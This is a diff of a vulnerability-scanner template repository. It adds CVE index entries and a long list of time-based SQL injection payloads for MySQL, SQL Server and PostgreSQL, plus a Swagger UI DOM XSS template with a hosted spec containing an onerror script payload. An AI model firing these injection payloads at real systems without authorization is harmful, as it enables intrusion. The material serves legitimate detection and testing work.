 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
+{"ID":"CVE-2025-53558","Info":{"Name":"ZTE ZXHN-F660T/F660A - Default Credentials","Severity":"high","Description":"ZXHN-F660T and ZXHN-F660A provided by ZTE Japan K.K. use a common credential for all installations. With the knowledge of the credential, an attacker may log in to the affected devices.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-53558.yaml"}
 {"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
 {"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
 {"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
+{"ID":"CVE-2025-5394","Info":{"Name":"Unauthenticated Arbitrary Plugin Upload in Alone Theme","Severity":"critical","Description":"The Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5394.yaml"}
+{"ID":"CVE-2025-54589","Info":{"Name":"Copyparty \u003c=1.18.6 - Cross-Site Scripting","Severity":"medium","Description":"Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.\n","Classification":{"CVSSScore":"6.3"}},"file_path":"http/cves/2025/CVE-2025-54589.yaml"}
+{"ID":"CVE-2025-54782","Info":{"Name":"NestJS DevTools Integration - Remote Code Execution","Severity":"critical","Description":"Nest is a framework for building scalable Node.js server-side applications. In versions 0.2.0 and below, a critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine. The package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2025/CVE-2025-54782.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
 {"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
 {"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
+{"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
+{"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8286.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -3180,6 +3194,7 @@
 {"ID":"CVE-2022-31793","Info":{"Name":"muhttpd \u003c=1.1.5 - Local Inclusion","Severity":"high","Description":"muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2022/CVE-2022-31793.yaml"}
 {"ID":"CVE-2023-33246","Info":{"Name":"RocketMQ \u003c= 5.1.0 - Remote Code Execution","Severity":"critical","Description":"For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-33246.yaml"}
 {"ID":"CVE-2023-48788","Info":{"Name":"Fortinet Forticlient Endpoint Management Server - SQL Injection","Severity":"critical","Description":"A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-48788.yaml"}
+{"ID":"CVE-2025-25256","Info":{"Name":"Fortinet FortiSIEM - OS Command Injection","Severity":"critical","Description":"Fortinet FortiSIEM 6.7.9 \u003c version \u003c= 7.3.1 contains an OS command injection caused by improper neutralization of special elements in CLI requests, letting unauthenticated attackers execute unauthorized commands remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2025/CVE-2025-25256.yaml"}
 {"ID":"CVE-2012-2122","Info":{"Name":"MySQL - Authentication Bypass","Severity":"medium","Description":"sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.\n","Classification":{"CVSSScore":"5.1"}},"file_path":"javascript/cves/2012/CVE-2012-2122.yaml"}
 {"ID":"CVE-2016-8706","Info":{"Name":"Memcached Server SASL Authentication - Remote Code Execution","Severity":"high","Description":"An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"javascript/cves/2016/CVE-2016-8706.yaml"}
 {"ID":"CVE-2019-9193","Info":{"Name":"PostgreSQL 9.3-12.3 Authenticated Remote Code Execution","Severity":"high","Description":"In PostgreSQL 9.3 through 11.2, the \"COPY TO/FROM PROGRAM\" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2019/CVE-2019-9193.yaml"}
@@ -1 +1 @@
-a035127e8cdac3981a1525e82b9ac7e9
+68ca5d0d9c5119bc71226a38ceaac523
@@ -2,10 +2,10 @@ id: time-based-sqli

 info:
  name: Time-Based Blind SQL Injection
-  author: 0xKayala
+  author: 0xKayala,Jaenact
  severity: critical
  description: |
-    This Template detects time-based Blind SQL Injection vulnerability
+    Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
  tags: time-based-sqli,sqli,dast,blind

 flow: http(1) && http(2)
@@ -29,12 +29,87 @@ http:

    payloads:
      injection:
+        # MySQL / MariaDB
        - "(SELECT(0)FROM(SELECT(SLEEP(7)))a)"
        - "'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z"
        - "' AND (SELECT 4800 FROM (SELECT(SLEEP(7)))HoBG)--"
        - "if(now()=sysdate(),SLEEP(7),0)"
        - "'XOR(if(now()=sysdate(),SLEEP(7),0))XOR'Z"
        - "'XOR(SELECT CASE WHEN(1234=1234) THEN SLEEP(7) ELSE 0 END)XOR'Z"
+        - "sleep(7)#"
+        - "1 or sleep(7)#"
+        - "\" or sleep(7)#"
+        - "' or sleep(7)#"
+        - "\" or sleep(7)=\""
+        - "' or sleep(7)='"
+        - "1) or sleep(7)#"
+        - "\") or sleep(7)=\""
+        - "') or sleep(7)='"
+        - "1)) or sleep(7)#"
+        - "\")) or sleep(7)=\""
+        - "')) or sleep(7)='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))bAKL) AND 'vRxe'='vRxe"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))YjoC) AND '%'='"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)--"
+        - "AND (SELECT * FROM (SELECT(SLEEP(7)))nQIP)#"
+        - "SLEEP(7)#"
+        - "SLEEP(7)--"
+        - "SLEEP(7)=\""
+        - "SLEEP(7)='"
+        - "or SLEEP(7)"
+        - "or SLEEP(7)#"
+        - "or SLEEP(7)--"
+        - "or SLEEP(7)=\""
+        - "or SLEEP(7)='"
+        - "AnD SLEEP(7)"
+        - "AnD SLEEP(7)--"
+        - "AnD SLEEP(7)#"
+        - "&&SLEEP(7)"
+        - "&&SLEEP(7)--"
+        - "&&SLEEP(7)#"
+        - "' AnD SLEEP(7) ANd '1"
+        - "'&&SLEEP(7)&&'1"
+        - "ORDER BY SLEEP(7)"
+        - "ORDER BY SLEEP(7)--"
+        - "ORDER BY SLEEP(7)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)#"
+        - "(SELECT * FROM (SELECT(SLEEP(7)))ecMj)--"
+        - "+ SLEEP(7) + '"
+        - "SLEEP(7)/*' or SLEEP(7) or '\" or SLEEP(7) or \"*/"
+
+        # SQL Server
+        - ";waitfor delay '0:0:7'--"
+        - ");waitfor delay '0:0:7'--"
+        - "';waitfor delay '0:0:7'--"
+        - "\";waitfor delay '0:0:7'--"
+        - "');waitfor delay '0:0:7'--"
+        - "\");waitfor delay '0:0:7'--"
+        - "));waitfor delay '0:0:7'--"
+        - "'));waitfor delay '0:0:7'--"
+        - "\"));waitfor delay '0:0:7'--"
+        - "waitfor delay '00:00:07'"
+        - "waitfor delay '00:00:07'--"
+        - "waitfor delay '00:00:07'#"
+
+        # PostgreSQL
+        - "pg_sleep(7)--"
+        - "1 or pg_sleep(7)--"
+        - "\" or pg_sleep(7)--"
+        - "' or pg_sleep(7)--"
+        - "1) or pg_sleep(7)--"
+        - "\") or pg_sleep(7)--"
+        - "') or pg_sleep(7)--"
+        - "1)) or pg_sleep(7)--"
+        - "\")) or pg_sleep(7)--"
+        - "')) or pg_sleep(7)--"
+        - "pg_SLEEP(7)"
+        - "pg_SLEEP(7)--"
+        - "pg_SLEEP(7)#"
+        - "or pg_SLEEP(7)"
+        - "or pg_SLEEP(7)--"
+        - "or pg_SLEEP(7)#"

    fuzzing:
      - part: query
@@ -44,8 +119,9 @@ http:
          - "{{injection}}"

    stop-at-first-match: true
+
    matchers:
      - type: dsl
        dsl:
          - "duration>=7 && duration <=16"
-# digest: 4a0a004730450220221817cdddedb8336ddb4afc4476f70da46a0dfb726a703a5e748458ae5bef000221009ebe3675d3fd10bf29161c179bd9b317b01f18643c2f8a6731ed9d89569495cc:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=BIMI1(.+)"
-# digest: 490a004630440220144cb590d9b26dd8e1fd56ad6cb84d67c8063ee83efbe264e281f8ef8db116d702203c7ce396d27898d05a0e631abfddd1844576b7cb31852596b65fa3dbdc4cd218:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e4d9c05c1396ac0c34336a9bb7b17f19ac3556e465b7904be87853adf2e9e7a502207c85579bbe7e3320884d8dea255fa0d72788e2a45d2a94a09c2d49510f78838b:922c64590222798bb761d5b6d8e72950
@@ -35,4 +35,4 @@ dns:
        group: 1
        regex:
          - "IN\\tNS\\t(.+)"
-# digest: 4b0a00483046022100d88188a9858184586962e3325bd1d333cc75ad21b6b3ebd1dbb5357988831449022100aac32d5a2d093046b11204b01d2261bd0b01e1d2378845c3d4cf1597d332c362:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202fb53ebbe29788068825360dba8c06e54cc8f4a2ac5e7f346eeabdcdfabdfad5022100df8b95fe430aa4a44205d5effceac18cd46df4b0e1a419b9059b255b77366708:922c64590222798bb761d5b6d8e72950
@@ -81,4 +81,4 @@ dns:
        name: "edge-cast"
        words:
          - "edgecastdns.net"
-# digest: 4a0a00473045022100e7307621d15e187ade8dc349d483a9dfb49053dbbe94baa2b959b356adfccb4502203a116b3087fd12133d6c569edea7e6e941b6d8b8e05d8df098c3830f1cfdd45c:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ac406799464af8550e10fdd4c062d75931d9c66f2b7a95be520dab3138a4d49702210085702c7a832fa1f4592fad7f66e5e2b0b195136e99b304f54faa8fec7cc950f6:922c64590222798bb761d5b6d8e72950
@@ -23,4 +23,4 @@ dns:
      - type: regex
        regex:
          - "v=spf1(.+)"
-# digest: 4a0a00473045022051bcadfd59f2bd2150858b5121cf7ff00120dc273ab8bdd3671cb4787e5093c90221009f67c2189406c7123516ef8b05869609d400adaaf86358f3875d1e1ec61d4e61:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f1b3a114636c3671c2371943a21af39d47b1d6da9c3a1c5598313cddd9edc7d2022100c7ed5d15f86791a48d6dd3f3e4927d1234452572dbc5294595d4f0919ea548e4:922c64590222798bb761d5b6d8e72950
@@ -1,18 +1,18 @@
 id: txt-service-detect

-info:
-  name: DNS TXT Service - Detect
-  author: rxerium
-  severity: info
-  description: |
-    Finding the services companies use via their TXT records.
-  reference:
-    - https://www.abenezer.ca/blog/services-companies-use-txt-records
-  metadata:
-    verified: true
-    max-request: 1
-  tags: dns,txt
-
+info:
+  name: DNS TXT Service - Detect
+  author: rxerium
+  severity: info
+  description: |
+    Finding the services companies use via their TXT records.
+  reference:
+    - https://www.abenezer.ca/blog/services-companies-use-txt-records
+  metadata:
+    verified: true
+    max-request: 1
+  tags: dns,txt,txt-service
+
 dns:
  - name: "{{FQDN}}"
    type: TXT
@@ -218,4 +218,4 @@ dns:
        name: "whimsical"
        words:
          - "whimsical"
-# digest: 4b0a00483046022100f4522b37e6c10f63832c428973771b8a8f404977887c00c4e50c7230b1d7dfd5022100d8900238cc8b036564f29b1934ad9c331f0fcb0a73d1247f3df22a60c8801384:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206fcb65f2e2435963fb8a6dd712e258f1e3dacbb42d01153b0dc7c2a2070b979b022100954a3427ccac0026ca5f1d0cdc888120945715304b8482c307db838b296108e2:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 490a0046304402205d4b2d68068a3e1d23d46444224697aded58abcfefaeff9fd6eff1fde56d3a46022048d66a449fa58ad871365451924088f816ef3b1ca9aee5af56cf8e5960b10542:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220322abb2656c37aada852ddb22b68e62f3f119714962a9aee072e7043a8452d94022100ad61f9fb95bb2b87ba8d81c6664105c72d8fc70f702c3fc1073f9fedea9442ef:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4b0a00483046022100b9b483db74c03f17203be8295c244d8fb34b107654751c6d3208003551a0fa7c022100be8b6786d5cba42d0e12278f2296145e49d920d82c37e1a4f5e203cdab7b859a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa4175c41bc3a26ec5e47bc5cae88dc7cc098a7e68e663cb19340ff5213f7de3022100fb12f6285f7cb084433ae2b47087ac6d5f7675d9d520e2e0f58f0a514348a895:922c64590222798bb761d5b6d8e72950
@@ -31,4 +31,4 @@ headless:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502202b10604a50f335a616cdc064c4e0c579f4a8bd6a80fbce3e9e1a29ab8d8c549b022100f1dcd720629b0cd7faa91c097bd5e6f3390a35cc98849db28713301850c0c9b4:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204205f198e97498124c58fe77fe78c5d15900d87a10f9a80c25c0f28f22544f6e02205f70155714fecd7e082f95ab6d8ab3b070348180df5d0bb60fd47efd9dad0a7c:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,68 @@
+id: CVE-2025-8191
+
+info:
+  name: Swagger UI >=3.14.1 < 3.38.0 - DOM Based Cross-Site Scripting
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    Swagger UI versions 3.14.1 through 3.37.x are vulnerable to DOM-based Cross-Site Scripting (XSS) attacks. The vulnerability occurs when processing malicious configuration URLs that contain XSS payloads in the Swagger specification. An attacker can craft a malicious configUrl parameter that, when processed by Swagger UI, executes arbitrary JavaScript code in the victim's browser context.
+  reference:
+    - https://blog.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-8191
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2025-8191
+    cwe-id: CWE-79
+    epss-score: 0.00123
+    epss-percentile: 0.47832
+    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: smartbear
+    product: swagger_ui
+    shodan-query:
+      - http.component:"Swagger"
+      - http.component:"swagger"
+      - http.favicon.hash:"-1180440057"
+    fofa-query: icon_hash="-1180440057"
+    zoomeye-query: app:"Swagger UI"
+  tags: cve,cve2025,headless,swagger,xss,smartbear,dom-xss
+
+headless:
+  - steps:
+      - args:
+          url: '{{BaseURL}}/{{swagger_path}}'
+        action: navigate
+
+      - action: waitdialog
+        name: swagger_dom
+
+    payloads:
+      swagger_path:
+        - 'swagger/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'swagger-ui/index.html?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'api-docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'docs?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - '?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - '?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+        - 'open-api/swagger-ui.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'
+
+    stop-at-first-match: true
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - swagger_dom == true
+
+      - type: word
+        part: body
+        words:
+          - "swagger"
+        case-insensitive: true
+# digest: 4a0a00473045022100e2a4a3fed035f075e45d529f75afaffaa15181fa41c9748785999177f38e67680220766f028a5fb4bed8042fc56cef4af654f2760e1207a0246bbd11db1bf1e720f0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,9 @@
+{
+  "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+  "urls": [
+      {
+          "url": "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.yml",
+          "name": "Account"
+      }
+  ]
+}
@@ -0,0 +1,29 @@
+swagger: '2.0'
+info:
+  title: Classic API Resource Documentation
+  description: |
+    <form><math><mtext></form><form><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert('textarea') src=1>"></form>
+
+paths:
+  /signin:
+    post:
+      parameters:
+        - name: Email
+          in: formData
+          required: true
+          type: string
+        - name: password
+          in: formData
+          required: true
+          type: string
+        - name: token
+          in: formData
+          required: true
+          type: string
+      responses:
+        '200':
+          description: Success Request
+      tags:
+        - signin
+      operationId: Signin
+      summary: Signin
@@ -26,28 +26,12 @@ info:
    cpe: cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
  metadata:
    verified: true
-    max-request: 13
+    max-request: 11
    vendor: dompdf
    product: dompdf
  tags: cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists

-flow: http(1) && http(2)
-
 http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/dompdf.php"
-      - "{{BaseURL}}/wp-content/plugins/"
-
-    stop-at-first-match: true
-    matchers:
-      - type: word
-        words:
-          - "dompdf"
-          - "WordPress"
-        condition: or
-        internal: true
-
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
@@ -84,4 +68,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402203bc21c7c47e546a7ccc90b69767df70aa72f9f971cb4bc33461068f016e9791d02205576cdeddbf47e6aebc80f6b38a4867f75eee62fc8c913c56f5c471a40ccaa03:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205d82becf643833d4b9341c7221207dfbaf919c446a3ae51f3cf0cbe4764ec80c02206230e2c9f6e4c4f06543a57b1e475287cdf463313a438e2a48965b0e38420486:922c64590222798bb761d5b6d8e72950
@@ -25,28 +25,13 @@ info:
    epss-percentile: 0.99889
    cpe: cpe:2.3:a:embedthis:goahead:*:*:*:*:*:*:*:*
  metadata:
-    max-request: 66
+    max-request: 65
    vendor: embedthis
    product: goahead
    shodan-query: cpe:"cpe:2.3:a:embedthis:goahead"
  tags: cve,cve2017,rce,goahead,fuzz,kev,vulhub,embedthis

-flow: http(1) && http(2)
-
 http:
-  - raw:
-      - |
-        GET /cgi-bin/ HTTP/1.1
-        Host: {{Hostname}}
-
-    matchers:
-      - type: word
-        words:
-          - "GoAhead"
-          - "cgi-bin"
-        condition: or
-        internal: true
-
  - raw:
      - |
        GET /cgi-bin/{{endpoint}}?LD_DEBUG=help HTTP/1.1
@@ -133,4 +118,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220439368ea57fa7f2780d0f62691dea8bda8f6732b6a9a7567ca070068b7f5dbb1022010e0d2939d9cabcc856f6eeede1b167f8ca2934368dfe9f1e8dbab824255ae64:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502203a7e096250a50c662d7820b4b338738bd80e1372cc387c105694bda9fd8f6775022100f98f43865fb1b92e478c78a23b7855817af7c8ca0ac93071177a0aacc792e9d7:922c64590222798bb761d5b6d8e72950
@@ -51,13 +51,10 @@ http:

    matchers-condition: and
    matchers:
-      - type: word
+      - type: regex
        part: body
-        words:
-          - "uid="
-          - "gid="
-          - "groups="
-        condition: and
+        regex:
+          - "uid=[0-9]+.*gid=[0-9]+.*"

      - type: word
        part: header
@@ -67,4 +64,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022038148b2806c69fd7c7b3e43406b6413317c7bf2ce6b6370d154fe544630691f7022100e7b18c5423e5761926e7e9d4e3cc779b2bcc61b3bf13cf36e8317068bc75d6d1:922c64590222798bb761d5b6d8e72950
